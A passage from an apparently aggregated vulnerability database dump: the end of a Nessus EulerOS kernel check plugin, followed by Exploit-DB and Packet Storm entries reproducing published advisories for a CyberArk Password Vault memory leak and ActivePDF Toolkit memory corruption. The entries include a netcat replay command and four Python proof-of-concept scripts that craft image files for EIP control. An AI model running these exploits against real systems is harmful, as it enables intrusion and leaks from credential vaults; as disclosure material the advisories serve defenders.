offline implementation in the Linux kernel\n through 4.8.11 mishandles certain drain operations,\n which allows local users to cause a denial of service\n (system hang) by leveraging access to a container\n environment for executing a crafted application, as\n demonstrated by trinity.(CVE-2016-9191)\n\n - The KVM implementation in the Linux kernel through\n 4.20.5 has a Use-after-Free.(CVE-2019-7221)\n\n - A NULL pointer dereference flaw was found in the way\n the Linux kernel's network subsystem handled socket\n creation with an invalid protocol identifier. A local\n user could use this flaw to crash the\n system.(CVE-2015-8543)\n\n - The drivers/media/usb/dvb-usb-v2/lmedm04.c in the Linux\n kernel, through 4.13.11, allows local users to cause a\n denial of service (general protection fault and system\n crash) or possibly have unspecified other impact via a\n crafted USB device, related to a missing warm-start\n check and incorrect attach timing\n (dm04_lme2510_frontend_attach versus\n dm04_lme2510_tuner).(CVE-2017-16538)\n\n - A use-after-free flaw was found in the way the Linux\n kernel's Advanced Linux Sound Architecture (ALSA)\n implementation handled user controls. A local,\n privileged user could use this flaw to crash the\n system.(CVE-2014-4653)\n\n - A vulnerability leading to a local privilege escalation\n was found in apparmor in the Linux kernel. When\n proc_pid_attr_write() was changed to use memdup_user\n apparmor's (interface violating) assumption that the\n setprocattr buffer was always a single page was\n violated.(CVE-2016-6187)\n\n - A vulnerability was found in the Linux kernel in\n 'tmpfs' file system. When file permissions are modified\n via 'chmod' and the user is not in the owning group or\n capable of CAP_FSETID, the setgid bit is cleared in\n inode_change_ok(). Setting a POSIX ACL via 'setxattr'\n sets the file permissions as well as the new ACL, but\n doesn't clear the setgid bit in a similar way; this\n allows to bypass the check in 'chmod'.(CVE-2017-5551)\n\n - A flaw was found in the Linux Kernel in the\n ucma_leave_multicast() function in\n drivers/infiniband/core/ucma.c which allows access to a\n certain data structure after freeing it in\n ucma_process_join(). This allows an attacker to cause a\n use-after-free bug and to induce kernel memory\n corruption, leading to a system crash or other\n unspecified impact. Due to the nature of the flaw,\n privilege escalation cannot be fully ruled out,\n although we believe it is unlikely.(CVE-2018-14734)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1525\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?bb598dd8\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected kernel packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/05/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/05/14\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:kernel-tools-libs-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:uvp:3.0.1.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (uvp != \"3.0.1.0\") audit(AUDIT_OS_NOT, \"EulerOS Virtualization 3.0.1.0\");\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"kernel-4.19.28-1.2.117\",\n \"kernel-devel-4.19.28-1.2.117\",\n \"kernel-headers-4.19.28-1.2.117\",\n \"kernel-tools-4.19.28-1.2.117\",\n \"kernel-tools-libs-4.19.28-1.2.117\",\n \"kernel-tools-libs-devel-4.19.28-1.2.117\",\n \"perf-4.19.28-1.2.117\",\n \"python-perf-4.19.28-1.2.117\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2018-05-24T14:13:28", "bulletinFamily": "exploit", "description": "CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure. CVE-2018-9842. Dos exploit for Linux platform", "modified": "2018-04-09T00:00:00", "published": "2018-04-09T00:00:00", "id": "EDB-ID:44428", "href": "https://www.exploit-db.com/exploits/44428/", "type": "exploitdb", "title": "CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure", "sourceData": "Advisory: CyberArk Password Vault Memory Disclosure\r\n\r\nData in the CyberArk Password Vault may be accessed through a proprietary\r\nnetwork protocol. While answering to a client's logon request, the vault\r\ndiscloses around 50 bytes of its memory to the client.\r\n\r\n\r\nDetails\r\n=======\r\n\r\nProduct: CyberArk Password Vault\r\nAffected Versions: < 9.7, < 10\r\nFixed Versions: 9.7, 10\r\nVulnerability Type: Information Disclosure\r\nSecurity Risk: high\r\nVendor URL: https://www.cyberark.com/\r\nVendor Status: fixed version released\r\nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-015\r\nAdvisory Status: published\r\nCVE: CVE-2018-9842\r\nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9842\r\n\r\n\r\nIntroduction\r\n============\r\n\r\n\"CyberArk Enterprise Password Vault is designed to secure, rotate and\r\ncontrol access to privileged account credentials based on organizational\r\npolicies. A flexible architecture allows organizations to start small\r\nand scale to the largest, most complex IT environments. The solution\r\nprotects privileged account credentials used to access the vast majority\r\nof systems.\"\r\n(from the Enterprise Password Vault Data Sheet [1])\r\n\r\n\r\nMore Details\r\n============\r\n\r\nThe CyberArk Password Vault serves as a database to securely store\r\ncredentials. Furthermore, the vault enforces access controls and logs\r\naccess to its records. Data stored in the vault may be accessed through\r\na proprietary network protocol which is usually transmitted over TCP\r\nport 1858. Various clients, such as web applications or command line\r\ntools, are provided by CyberArk to interface with a vault.\r\n\r\nThe first message a client sends to the vault is a \"Logon\" command.\r\nUsing a network sniffer, such a message was captured:\r\n\r\n$ xxd logon.bin\r\n00000000: ffff ffff f700 0000 ffff ffff 3d01 0000 ............=...\r\n00000010: 5061 636c 6953 6372 6970 7455 7365 7200 PacliScriptUser.\r\n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000060: 0000 0000 0000 0000 0000 0000 0020 2020 .............\r\n00000070: 20ff ffff ff00 0000 0000 0000 0000 0073 ..............s\r\n00000080: 0000 00ce cece ce00 0000 0000 0000 0000 ................\r\n00000090: 0000 0000 0000 0030 3d4c 6f67 6f6e fd31 .......0=Logon.1\r\n000000a0: 3135 3d37 2e32 302e 3930 2e32 38fd 3639 15=7.20.90.28.69\r\n000000b0: 3d50 fd31 3136 3d30 fd31 3030 3dfd 3231 =P.116=0.100=.21\r\n000000c0: 373d 59fd 3231 383d 5041 434c 49fd 3231 7=Y.218=PACLI.21\r\n000000d0: 393d fd33 3137 3d30 fd33 3537 3d30 fd32 9=.317=0.357=0.2\r\n000000e0: 323d 5061 636c 6953 6372 6970 7455 7365 2=PacliScriptUse\r\n000000f0: 72fd 3336 373d 3330 fd00 00 r.367=30...\r\n\r\nStarting at offset 0x97, a type of remote procedure call can be\r\nidentified. In this case, \"Logon\" is invoked for the user\r\n\"PacliScriptUser\". This message does not contain any random,\r\nunpredictable data. Therefore, it may be replayed at will once captured.\r\nThis can be accomplished using netcat:\r\n\r\n------------------------------------------------------------------------\r\n$ cat logon.bin | nc -v 10.0.0.5 1858\r\n------------------------------------------------------------------------\r\n\r\nRedTeam Pentesting discovered that the message sent by the vault in\r\nresponse to a \"Logon\" command contains about 50 bytes of the vault's\r\nmemory.\r\n\r\n\r\nProof of Concept\r\n================\r\n\r\nTo trigger the vulnerability, a previously captured logon message is\r\nsent to the vault using netcat:\r\n\r\n------------------------------------------------------------------------\r\n$ cat logon.bin | nc -v 10.0.0.5 1858 | xxd\r\nNcat: Version 7.40 ( https://nmap.org/ncat )\r\nNcat: Connected to 10.0.0.5:1858.\r\nNcat: 251 bytes sent, 273 bytes received in 0.01 seconds.\r\n00000000: e500 0000 0000 0000 3001 0000 5061 636c ........0...Pacl\r\n00000010: 6953 6372 6970 7455 7365 7200 0000 0000 iScriptUser.....\r\n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000060: 0000 0000 0000 0000 0000 0000 001e 0200 ................\r\n00000070: 0078 9c53 6362 0003 7616 0686 ff40 e019 .x.Scb..v....@..\r\n00000080: e2e8 ec6b 6069 eaaa 1052 9498 579c 985c ...k`i...R..W..\\\r\n00000090: 9299 9fa7 e093 9f0e 248b b333 0b0a 5253 ........$..3..RS\r\n000000a0: 14d2 f28b 144a 8b53 8b14 0212 9373 3283 .....J.S.....s2.\r\n000000b0: 938b 320b 4a42 817c 3d85 a0d4 c4e2 fc3c ..2.JB.|=......<\r\n000000c0: 2b05 a070 6a5e 8942 717e 7276 6a89 4266 +..pj^.Bq~rvj.Bf\r\n000000d0: 3150 20bf 3835 458f 8b61 140c 15c0 08c4 1P .85E..a......\r\n000000e0: 0063 0e25 c06d 6265 7220 3d20 7661 756c .c.%.mber = vaul\r\n000000f0: 745f 6669 6c65 5f63 6174 6567 6f72 6965 t_file_categorie\r\n00000100: 735f 7265 636f 7264 7300 2968 b8fb aae9 s_records.)h....\r\n00000110: 62\r\n------------------------------------------------------------------------\r\n\r\nStarting at offset 0xe0, the vault discloses a total of 49 bytes of its\r\nmemory to the client.\r\n\r\n\r\nWorkaround\r\n==========\r\n\r\nNone\r\n\r\n\r\nFix\r\n===\r\n\r\nUpgrade CyberArk Password Vault to version 9.7 or 10.\r\n\r\n\r\nSecurity Risk\r\n=============\r\n\r\nThis vulnerability is rated as a high risk. Exploitation only requires\r\nnetwork access to a PrivateArk Password Vault. Although each request\r\nonly discloses about 50 bytes of memory, sustained exploitation will\r\nlikely reveal sensitive information at some point in time. This\r\ncritically undermines the primary purpose of the PrivateArk Password\r\nVault.\r\n\r\n\r\nTimeline\r\n========\r\n\r\n2017-11-24 Vulnerability identified\r\n2018-01-22 Customer approved disclosure to vendor\r\n2018-02-05 Vendor notified\r\n2018-04-06 CVE number requested\r\n2018-04-07 CVE number assigned\r\n2018-04-09 Advisory released\r\n\r\n\r\nReferences\r\n==========\r\n\r\n[1] http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vault-11-15-17.pdf\r\n\r\n\r\nRedTeam Pentesting GmbH\r\n=======================\r\n\r\nRedTeam Pentesting offers individual penetration tests performed by a\r\nteam of specialised IT-security experts. Hereby, security weaknesses in\r\ncompany networks or products are uncovered and can be fixed immediately.\r\n\r\nAs there are only few experts in this field, RedTeam Pentesting wants to\r\nshare its knowledge and enhance the public knowledge with research in\r\nsecurity-related areas. The results are made available as public\r\nsecurity advisories.\r\n\r\nMore information about RedTeam Pentesting can be found at:\r\nhttps://www.redteam-pentesting.de/\r\n\r\n\r\nWorking at RedTeam Pentesting\r\n=============================\r\n\r\nRedTeam Pentesting is looking for penetration testers to join our team\r\nin Aachen, Germany. If you are interested please visit:\r\nhttps://www.redteam-pentesting.de/jobs/\r\n\r\n-- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Gesch\u00e4ftsf\u00fchrer: Patrick Hof, Jens Liebchen", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/44428/"}, {"lastseen": "2018-05-24T14:06:17", "bulletinFamily": "exploit", "description": "ActivePDF Toolkit < 8.1.0.19023 - Multiple Memory Corruptions. CVE-2018-7264. Dos exploit for Windows platform", "modified": "2018-03-05T00:00:00", "published": "2018-03-05T00:00:00", "id": "EDB-ID:44251", "href": "https://www.exploit-db.com/exploits/44251/", "type": "exploitdb", "title": "ActivePDF Toolkit < 8.1.0.19023 - Multiple Memory Corruptions", "sourceData": "ActivePDF Toolkit < 8.1.0 multiple RCE\r\n\r\nIntroduction\r\n============\r\nThe ActivePDF Toolkit is a Windows library which enhances business\r\nprocesses to stamp, stitch, merge, form-fill, add digital signatures,\r\nbarcodes to PDF. Both .NET and native APIs are provided. Amongst many\r\nother operations, this library can be used by applications to transform\r\nimages to PDF files.\r\n\r\nMultiple vulnerabilities were identified in the Pictview image processing\r\nlibrary embedded by the Toolkit and signed by ActivePDF. They could allow\r\nremote attackers to compromise applications relying on the Toolkit to\r\nprocess untrusted images. Note that, while the example instances hereafter\r\nuse \u201cexotic\u201d file types, the parser determines the image type from magic\r\nbytes, ignoring file extensions in most cases.\r\n\r\nCVE\r\n===\r\nCVE-2018-7264\r\n\r\nAffected versions\r\n=================\r\nActivePDF Toolkit before 8.1.0 (build 8.1.0.19023)\r\n\r\nAuthor\r\n======\r\nFran\u00e7ois Goichon - Google Security Team\r\n\r\nCVE-2018-7264\r\n=============\r\nActivePDF Toolkit < 8.1.0.19023 multiple RCE\r\n\r\nSummary\r\n-------\r\nAn image processing library embedded in the ActivePDF Toolkit product is\r\nprone to multiple BSS out-of-bound and signedess errors which can yield\r\ndirect EIP control by overwriting function pointers, error handling\r\nstructures or IAT entries. Note that the affected library does not enable\r\nASLR.\r\n\r\nReproduction\r\n------------\r\nThe following scripts can be used to generate crafted image files which\r\nachieve EIP control when parsed or converted by the ActivePDF Toolkit (e.g.\r\nvia the ImageToPDF method), through different root causes. These examples\r\ncan be reproduced through both the .NET and native APIs and independently\r\nfrom file extensions, however the .NET layer will hide the native crashes\r\nand return -1. This may crash the library with a lock on, so only use in\r\ntest environments.\r\n\r\n* Interchange File Format (.iff) and derivates\r\n---\r\n#!/usr/bin/env python2\r\n#\r\n# eax=28147510 ebx=00009c1c ecx=28147510 edx=00009c1c esi=28140e90\r\nedi=02930a6c\r\n# eip=41414141 esp=0061f264 ebp=0061f26c iopl=0 nv up ei pl nz na\r\npo nc\r\n# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010202\r\n# 41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\nheader = \"FORMXOXOILBM\"\r\n\r\nbodycontents = \"AAA\"\r\nbody = \"BODY\" + pack(\">I\", len(bodycontents)) + bodycontents\r\nwhile (len(body) % 2) == 1:\r\n body += \"\\x00\"\r\n\r\nbase = 0x28147510\r\npayload = pack(\"<I\", base).ljust(0x28151114 - base, \"A\") + pack(\"<I\", base)\r\ncmap = \"CMAP\" + pack(\">I\", len(payload)) + payload\r\nwhile (len(cmap) % 2) == 1:\r\n cmap += \"\\x00\"\r\n\r\noutp = header + cmap + body\r\nassert len(outp) >= 0x28\r\n\r\nwith open(\"test.iff\", \"wb\") as f:\r\n f.write(outp)\r\n---\r\n\r\n* Zoner Draw images (.zmf, .zbr)\r\n---\r\n#!/usr/bin/env python2\r\n#\r\n# eax=28151110 ebx=0000002e ecx=0000bc28 edx=2813eb10 esi=00000008\r\nedi=028e0a6c\r\n# eip=41414141 esp=2814550c ebp=41414141 iopl=0 nv up ei ng nz ac\r\npe cy\r\n# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010297\r\n# 41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\nheader = pack(\"<III\", 0x5c, 0xD4015ADD, 0x12345678)\r\nheader = header.ljust(9*4) + pack(\"<I\", 0x3c)\r\nheader = header.ljust(0x3c)\r\n\r\nbase = 0x2814550C\r\npayload = '\\x00' * (0x28151124 - base) + pack(\"<I\", base) + \"A\"*8\r\n\r\n# can be triggered by multiple formats\r\nheader2 = pack(\"<H\", 0x4d42)\r\nheader2 = header2.ljust(14) + pack(\"<I\", 50-14)\r\nheader2 = header2.ljust(28) + pack(\"<HI\", 0, 0)\r\nheader2 = header2.ljust(46) + pack(\"<I\", len(payload)/4 + 1)\r\n\r\noutp = header + header2 + payload\r\n\r\nwith open(\"test.zmf\", \"w\") as f:\r\n f.write(outp)\r\n---\r\n\r\n* Sun Raster images (.ras)\r\n---\r\n#!/usr/bin/python2\r\n#\r\n#WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding\r\ncan be inaccurate.\r\n#eax=28151110 ebx=0000000c ecx=0000fc2d edx=2813eb10 esi=00000008\r\nedi=02880a6c\r\n#eip=41414141 esp=28141504 ebp=41414141 iopl=0 nv up ei ng nz ac pe\r\ncy\r\n#cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010297\r\n#41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\nheader = pack(\">IIIIIII\", 0x59A66A95, 0x100, 1, 8, 0, 2, 1)\r\n\r\nbase = 0x28141504\r\npayload = \"\".ljust(0x28151124 - base, \"\\x00\") + pack(\"<I\", base) + \"A\"*8\r\noutp = header + pack(\">I\", len(payload)+1) + payload\r\n\r\nwith open(\"test.ras\", \"wb\") as f:\r\n f.write(outp)\r\n---\r\n\r\n* Truevision Targa images (.bpx)\r\n---\r\n#!/usr/bin/env python2\r\n#\r\n#eax=28151110 ebx=00000004 ecx=00000008 edx=2813eb10 esi=00000008\r\nedi=028f0a6c\r\n#eip=41414141 esp=0061f2a0 ebp=0061f2e8 iopl=0 nv up ei ng nz ac pe\r\ncy\r\n#cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b\r\nefl=00010297\r\n#41414141 ?? ???\r\n\r\nfrom struct import pack\r\n\r\ntarget = 0x2815112C\r\npayload = \"AAAA\"\r\n\r\n# TGA / PIC / BPX\r\nbase = { 3: 0x28147510, 4: 0x2814550c }\r\nalign = None\r\nfor al in [3, 4]:\r\n if ((target - base[al]) % al) == 0:\r\n align = al\r\n break\r\nassert align\r\n\r\nheader = \"\\x00\\x01\\x00\"\r\nheader += pack(\"<H\", (target - base[align])/align)\r\nheader += pack(\"<H\", (len(payload)/align)+1)\r\nheader += chr(32 if align == 4 else 24)\r\nheader = header.ljust(16)\r\nheader += chr(1)\r\nheader = header.ljust(18)\r\n\r\nwith open(\"test.bpx\", \"wb\") as f:\r\n f.write(header + payload)\r\n---\r\n\r\nRemediation\r\n-----------\r\nUpgrade to ActivePDF Toolkit >= 8.1.0 (build 8.1.0.19023), which fixes the\r\nproblem by removing the affected image processing library. Note that this\r\nalso fixes the similar ZDI-16-354 vulnerability.\r\n\r\nFor more information and guidance, please contact the ActivePDF support\r\nthrough their portal (https://support.activepdf.com).\r\n\r\n\r\nDisclosure timeline\r\n===================\r\n2017/11/28 - Report sent to ActivePDF support\r\n2017/11/28 - Support acknowledges the issue and confirms that the library\r\nis scheduled to be removed from the product\r\n2018/01/29 - Received notification from the ActivePDF support that the\r\nPictview image processing library had been removed from ActivePDF in build\r\n8.1.0.19023\r\n2017/02/26 - Public disclosure", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/44251/"}], "packetstorm": [{"lastseen": "2018-04-10T01:05:47", "bulletinFamily": "exploit", "description": "", "modified": "2018-04-09T00:00:00", "published": "2018-04-09T00:00:00", "href": "https://packetstormsecurity.com/files/147091/CyberArk-Password-Vault-Memory-Disclosure.html", "id": "PACKETSTORM:147091", "type": "packetstorm", "title": "CyberArk Password Vault Memory Disclosure", "sourceData": "`Advisory: CyberArk Password Vault Memory Disclosure \n \nData in the CyberArk Password Vault may be accessed through a proprietary \nnetwork protocol. While answering to a client's logon request, the vault \ndiscloses around 50 bytes of its memory to the client. \n \n \nDetails \n======= \n \nProduct: CyberArk Password Vault \nAffected Versions: < 9.7, < 10 \nFixed Versions: 9.7, 10 \nVulnerability Type: Information Disclosure \nSecurity Risk: high \nVendor URL: https://www.cyberark.com/ \nVendor Status: fixed version released \nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-015 \nAdvisory Status: published \nCVE: CVE-2018-9842 \nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9842 \n \n \nIntroduction \n============ \n \n\"CyberArk Enterprise Password Vault is designed to secure, rotate and \ncontrol access to privileged account credentials based on organizational \npolicies. A flexible architecture allows organizations to start small \nand scale to the largest, most complex IT environments. The solution \nprotects privileged account credentials used to access the vast majority \nof systems.\" \n(from the Enterprise Password Vault Data Sheet [1]) \n \n \nMore Details \n============ \n \nThe CyberArk Password Vault serves as a database to securely store \ncredentials. Furthermore, the vault enforces access controls and logs \naccess to its records. Data stored in the vault may be accessed through \na proprietary network protocol which is usually transmitted over TCP \nport 1858. Various clients, such as web applications or command line \ntools, are provided by CyberArk to interface with a vault. \n \nThe first message a client sends to the vault is a \"Logon\" command. \nUsing a network sniffer, such a message was captured: \n \n$ xxd logon.bin \n00000000: ffff ffff f700 0000 ffff ffff 3d01 0000 ............=... \n00000010: 5061 636c 6953 6372 6970 7455 7365 7200 PacliScriptUser. \n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000060: 0000 0000 0000 0000 0000 0000 0020 2020 ............. \n00000070: 20ff ffff ff00 0000 0000 0000 0000 0073 ..............s \n00000080: 0000 00ce cece ce00 0000 0000 0000 0000 ................ \n00000090: 0000 0000 0000 0030 3d4c 6f67 6f6e fd31 .......0=Logon.1 \n000000a0: 3135 3d37 2e32 302e 3930 2e32 38fd 3639 15=7.20.90.28.69 \n000000b0: 3d50 fd31 3136 3d30 fd31 3030 3dfd 3231 =P.116=0.100=.21 \n000000c0: 373d 59fd 3231 383d 5041 434c 49fd 3231 7=Y.218=PACLI.21 \n000000d0: 393d fd33 3137 3d30 fd33 3537 3d30 fd32 9=.317=0.357=0.2 \n000000e0: 323d 5061 636c 6953 6372 6970 7455 7365 2=PacliScriptUse \n000000f0: 72fd 3336 373d 3330 fd00 00 r.367=30... \n \nStarting at offset 0x97, a type of remote procedure call can be \nidentified. In this case, \"Logon\" is invoked for the user \n\"PacliScriptUser\". This message does not contain any random, \nunpredictable data. Therefore, it may be replayed at will once captured. \nThis can be accomplished using netcat: \n \n------------------------------------------------------------------------ \n$ cat logon.bin | nc -v 10.0.0.5 1858 \n------------------------------------------------------------------------ \n \nRedTeam Pentesting discovered that the message sent by the vault in \nresponse to a \"Logon\" command contains about 50 bytes of the vault's \nmemory. \n \n \nProof of Concept \n================ \n \nTo trigger the vulnerability, a previously captured logon message is \nsent to the vault using netcat: \n \n------------------------------------------------------------------------ \n$ cat logon.bin | nc -v 10.0.0.5 1858 | xxd \nNcat: Version 7.40 ( https://nmap.org/ncat ) \nNcat: Connected to 10.0.0.5:1858. \nNcat: 251 bytes sent, 273 bytes received in 0.01 seconds. \n00000000: e500 0000 0000 0000 3001 0000 5061 636c ........0...Pacl \n00000010: 6953 6372 6970 7455 7365 7200 0000 0000 iScriptUser..... \n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ \n00000060: 0000 0000 0000 0000 0000 0000 001e 0200 ................ \n00000070: 0078 9c53 6362 0003 7616 0686 ff40 e019 .x.Scb..v....@.. \n00000080: e2e8 ec6b 6069 eaaa 1052 9498 579c 985c ...k`i...R..W..\\ \n00000090: 9299 9fa7 e093 9f0e 248b b333 0b0a 5253 ........$..3..RS \n000000a0: 14d2 f28b 144a 8b53 8b14 0212 9373 3283 .....J.S.....s2. \n000000b0: 938b 320b 4a42 817c 3d85 a0d4 c4e2 fc3c ..2.JB.|=......< \n000000c0: 2b05 a070 6a5e 8942 717e 7276 6a89 4266 +..pj^.Bq~rvj.Bf \n000000d0: 3150 20bf 3835 458f 8b61 140c 15c0 08c4 1P .85E..a...... \n000000e0: 0063 0e25 c06d 6265 7220 3d20 7661 756c .c.%.mber = vaul \n000000f0: 745f 6669 6c65 5f63 6174 6567 6f72 6965 t_file_categorie \n00000100: 735f 7265 636f 7264 7300 2968 b8fb aae9 s_records.)h.... \n00000110: 62 \n------------------------------------------------------------------------ \n \nStarting at offset 0xe0, the vault discloses a total of 49 bytes of its \nmemory to the client. \n \n \nWorkaround \n========== \n \nNone \n \n \nFix \n=== \n \nUpgrade CyberArk Password Vault to version 9.7 or 10. \n \n \nSecurity Risk \n============= \n \nThis vulnerability is rated as a high risk. Exploitation only requires \nnetwork access to a PrivateArk Password Vault. Although each request \nonly discloses about 50 bytes of memory, sustained exploitation will \nlikely reveal sensitive information at some point in time. This \ncritically undermines the primary purpose of the PrivateArk Password \nVault. \n \n \nTimeline \n======== \n \n2017-11-24 Vulnerability identified \n2018-01-22 Customer approved disclosure to vendor \n2018-02-05 Vendor notified \n2018-04-06 CVE number requested \n2018-04-07 CVE number assigned \n2018-04-09 Advisory released \n \n \nReferences \n========== \n \n[1] http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vault-11-15-17.pdf \n \n \nRedTeam Pentesting GmbH \n======================= \n \nRedTeam Pentesting offers individual penetration tests performed by a \nteam of specialised IT-security experts. Hereby, security weaknesses in \ncompany networks or products are uncovered and can be fixed immediately. \n \nAs there are only few experts in this field, RedTeam Pentesting wants to \nshare its knowledge and enhance the public knowledge with research in \nsecurity-related areas. The results are made available as public \nsecurity advisories. \n \nMore information about RedTeam Pentesting can be found at: \nhttps://www.redteam-pentesting.de/ \n \n \nWorking at RedTeam Pentesting \n============================= \n \nRedTeam Pentesting is looking for penetration testers to join our team \nin Aachen, Germany. If you are interested please visit: \nhttps://www.redteam-pentesting.de/jobs/ \n \n-- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen \n \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/147091/rt-sa-2017-015.txt", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-03-01T01:21:19", "bulletinFamily": "exploit", "description": "", "modified": "2018-02-27T00:00:00", "published": "2018-02-27T00:00:00", "href": "https://packetstormsecurity.com/files/146599/ActivePDF-Toolkit-Code-Execution.html", "id": "PACKETSTORM:146599", "title": "ActivePDF Toolkit Code Execution", "type": "packetstorm", "sourceData": "`ActivePDF Toolkit < 8.1.0 multiple RCE \n \nIntroduction \n============ \nThe ActivePDF 